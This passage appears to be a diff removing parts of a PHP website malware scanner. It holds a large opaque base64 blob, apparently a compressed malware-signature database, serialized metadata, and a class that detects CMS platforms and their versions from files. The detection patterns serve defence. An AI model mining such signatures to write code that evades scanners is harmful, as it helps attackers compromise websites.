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"))));
- self::$_DeMapper = unserialize(base64_decode("YTo1OntzOjEwOiJ3aXphcmQucGhwIjtzOjM3OiJjbGFzcyBXZWxjb21lU3RlcCBleHRlbmRzIENXaXphcmRTdGVwIjtzOjE3OiJ1cGRhdGVfY2xpZW50LnBocCI7czozNzoieyBDVXBkYXRlQ2xpZW50OjpBZGRNZXNzYWdlMkxvZygiZXhlYyI7czoxMToiaW5jbHVkZS5waHAiO3M6NDg6IkdMT0JBTFNbIlVTRVIiXS0+SXNBdXRob3JpemVkKCkgJiYgJGFyQXV0aFJlc3VsdCI7czo5OiJzdGFydC5waHAiO3M6NjA6IkJYX1JPT1QuJy9tb2R1bGVzL21haW4vY2xhc3Nlcy9nZW5lcmFsL3VwZGF0ZV9kYl91cGRhdGVyLnBocCI7czoxMDoiaGVscGVyLnBocCI7czo1ODoiSlBsdWdpbkhlbHBlcjo6Z2V0UGx1Z2luKCJzeXN0ZW0iLCJvbmVjbGlja2NoZWNrb3V0X3ZtMyIpOyI7fQ=="));
- self::$db_meta_info = unserialize(base64_decode("YTozOntzOjEwOiJidWlsZC1kYXRlIjtzOjEwOiIxNjAxMjg3Mjc2IjtzOjc6InZlcnNpb24iO3M6MTM6IjIwMjAwOTI4LTM4NTAiO3M6MTI6InJlbGVhc2UtdHlwZSI7czoxMDoicHJvZHVjdGlvbiI7fQ=="));
- //END_SIG
- }
- }
- class CmsVersionDetector
- {
- const CMS_BITRIX = 'Bitrix';
- const CMS_WORDPRESS = 'WordPress';
- const CMS_JOOMLA = 'Joomla';
- const CMS_DLE = 'Data Life Engine';
- const CMS_IPB = 'Invision Power Board';
- const CMS_WEBASYST = 'WebAsyst';
- const CMS_OSCOMMERCE = 'OsCommerce';
- const CMS_DRUPAL = 'Drupal';
- const CMS_MODX = 'MODX';
- const CMS_INSTANTCMS = 'Instant CMS';
- const CMS_PHPBB = 'PhpBB';
- const CMS_VBULLETIN = 'vBulletin';
- const CMS_SHOPSCRIPT = 'PHP ShopScript Premium';
-
- const CMS_VERSION_UNDEFINED = '0.0';
- private $root_path;
- private $versions;
- private $types;
- public function __construct($root_path = '.') {
- $this->root_path = $root_path;
- $this->versions = array();
- $this->types = array();
- $version = '';
- $dir_list = $this->getDirList($root_path);
- $dir_list[] = $root_path;
- foreach ($dir_list as $dir) {
- if ($this->checkBitrix($dir, $version)) {
- $this->addCms(self::CMS_BITRIX, $version);
- }
- if ($this->checkWordpress($dir, $version)) {
- $this->addCms(self::CMS_WORDPRESS, $version);
- }
- if ($this->checkJoomla($dir, $version)) {
- $this->addCms(self::CMS_JOOMLA, $version);
- }
- if ($this->checkDle($dir, $version)) {
- $this->addCms(self::CMS_DLE, $version);
- }
- if ($this->checkIpb($dir, $version)) {
- $this->addCms(self::CMS_IPB, $version);
- }
- if ($this->checkWebAsyst($dir, $version)) {
- $this->addCms(self::CMS_WEBASYST, $version);
- }
- if ($this->checkOsCommerce($dir, $version)) {
- $this->addCms(self::CMS_OSCOMMERCE, $version);
- }
- if ($this->checkDrupal($dir, $version)) {
- $this->addCms(self::CMS_DRUPAL, $version);
- }
- if ($this->checkMODX($dir, $version)) {
- $this->addCms(self::CMS_MODX, $version);
- }
- if ($this->checkInstantCms($dir, $version)) {
- $this->addCms(self::CMS_INSTANTCMS, $version);
- }
- if ($this->checkPhpBb($dir, $version)) {
- $this->addCms(self::CMS_PHPBB, $version);
- }
- if ($this->checkVBulletin($dir, $version)) {
- $this->addCms(self::CMS_VBULLETIN, $version);
- }
- if ($this->checkPhpShopScript($dir, $version)) {
- $this->addCms(self::CMS_SHOPSCRIPT, $version);
- }
- }
- }
- function getDirList($target) {
- $remove = array(
- '.',
- '..'
- );
- $directories = array_diff(scandir($target), $remove);
- $res = array();
- foreach ($directories as $value) {
- if (is_dir($target . '/' . $value)) {
- $res[] = $target . '/' . $value;
- }
- }
- return $res;
- }
- function isCms($name, $version) {
- for ($i = 0, $iMax = count($this->types); $i < $iMax; $i++) {
- if ((strpos($this->types[$i], $name) !== false) && (strpos($this->versions[$i], $version) !== false)) {
- return true;
- }
- }
- return false;
- }
- function getCmsList() {
- return $this->types;
- }
- function getCmsVersions() {
- return $this->versions;
- }
- function getCmsNumber() {
- return count($this->types);
- }
- function getCmsName($index = 0) {
- return $this->types[$index];
- }
- function getCmsVersion($index = 0) {
- return $this->versions[$index];
- }
- private function addCms($type, $version) {
- $this->types[] = $type;
- $this->versions[] = $version;
- }
- private function checkBitrix($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- if (file_exists($dir . '/bitrix')) {
- $res = true;
- $tmp_content = @file_get_contents($this->root_path . '/bitrix/modules/main/classes/general/version.php');
- if (preg_match('|define\("SM_VERSION","(.+?)"\)|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- }
- return $res;
- }
- private function checkWordpress($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- if (file_exists($dir . '/wp-admin')) {
- $res = true;
- $tmp_content = @file_get_contents($dir . '/wp-includes/version.php');
- if (preg_match('|\$wp_version\s*=\s*\'(.+?)\'|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- }
- return $res;
- }
- private function checkJoomla($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- if (file_exists($dir . '/libraries/joomla')) {
- $res = true;
- // for 1.5.x
- $tmp_content = @file_get_contents($dir . '/libraries/joomla/version.php');
- if (preg_match('|var\s+\$RELEASE\s*=\s*\'(.+?)\'|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- if (preg_match('|var\s+\$DEV_LEVEL\s*=\s*\'(.+?)\'|smi', $tmp_content, $tmp_ver)) {
- $version .= '.' . $tmp_ver[1];
- }
- }
- // for 1.7.x
- $tmp_content = @file_get_contents($dir . '/includes/version.php');
- if (preg_match('|public\s+\$RELEASE\s*=\s*\'(.+?)\'|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- if (preg_match('|public\s+\$DEV_LEVEL\s*=\s*\'(.+?)\'|smi', $tmp_content, $tmp_ver)) {
- $version .= '.' . $tmp_ver[1];
- }
- }
- // for 2.5.x and 3.x
- $tmp_content = @file_get_contents($dir . '/libraries/cms/version/version.php');
- if (preg_match('|const\s+RELEASE\s*=\s*\'(.+?)\'|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- if (preg_match('|const\s+DEV_LEVEL\s*=\s*\'(.+?)\'|smi', $tmp_content, $tmp_ver)) {
- $version .= '.' . $tmp_ver[1];
- }
- }
- }
- return $res;
- }
- private function checkDle($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- if (file_exists($dir . '/engine/engine.php')) {
- $res = true;
- $tmp_content = @file_get_contents($dir . '/engine/data/config.php');
- if (preg_match('|\'version_id\'\s*=>\s*"(.+?)"|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- $tmp_content = @file_get_contents($dir . '/install.php');
- if (preg_match('|\'version_id\'\s*=>\s*"(.+?)"|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- }
- return $res;
- }
- private function checkIpb($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- if (file_exists($dir . '/ips_kernel')) {
- $res = true;
- $tmp_content = @file_get_contents($dir . '/ips_kernel/class_xml.php');
- if (preg_match('|IP.Board\s+v([0-9\.]+)|si', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- }
- return $res;
- }
- private function checkWebAsyst($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- if (file_exists($dir . '/wbs/installer')) {
- $res = true;
- $tmp_content = @file_get_contents($dir . '/license.txt');
- if (preg_match('|v([0-9\.]+)|si', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- }
- return $res;
- }
- private function checkOsCommerce($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- if (file_exists($dir . '/includes/version.php')) {
- $res = true;
- $tmp_content = @file_get_contents($dir . '/includes/version.php');
- if (preg_match('|([0-9\.]+)|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- }
- return $res;
- }
- private function checkDrupal($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- if (file_exists($dir . '/sites/all')) {
- $res = true;
- $tmp_content = @file_get_contents($dir . '/CHANGELOG.txt');
- if (preg_match('|Drupal\s+([0-9\.]+)|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- }
- if (file_exists($dir . '/core/lib/Drupal.php')) {
- $res = true;
- $tmp_content = @file_get_contents($dir . '/core/lib/Drupal.php');
- if (preg_match('|VERSION\s*=\s*\'(\d+\.\d+\.\d+)\'|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- }
- if (file_exists($dir . 'modules/system/system.info')) {
- $res = true;
- $tmp_content = @file_get_contents($dir . 'modules/system/system.info');
- if (preg_match('|version\s*=\s*"\d+\.\d+"|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- }
- return $res;
- }
- private function checkMODX($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- if (file_exists($dir . '/manager/assets')) {
- $res = true;
- // no way to pick up version
- }
- return $res;
- }
- private function checkInstantCms($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- if (file_exists($dir . '/plugins/p_usertab')) {
- $res = true;
- $tmp_content = @file_get_contents($dir . '/index.php');
- if (preg_match('|InstantCMS\s+v([0-9\.]+)|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- }
- return $res;
- }
- private function checkPhpBb($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- if (file_exists($dir . '/includes/acp')) {
- $res = true;
- $tmp_content = @file_get_contents($dir . '/config.php');
- if (preg_match('|phpBB\s+([0-9\.x]+)|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- }
- return $res;
- }
- private function checkVBulletin($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- // removed dangerous code from here, see DEF-10390 for details
- return $res;
- }
- private function checkPhpShopScript($dir, &$version) {
- $version = self::CMS_VERSION_UNDEFINED;
- $res = false;
- if (file_exists($dir . '/install/consts.php')) {
- $res = true;
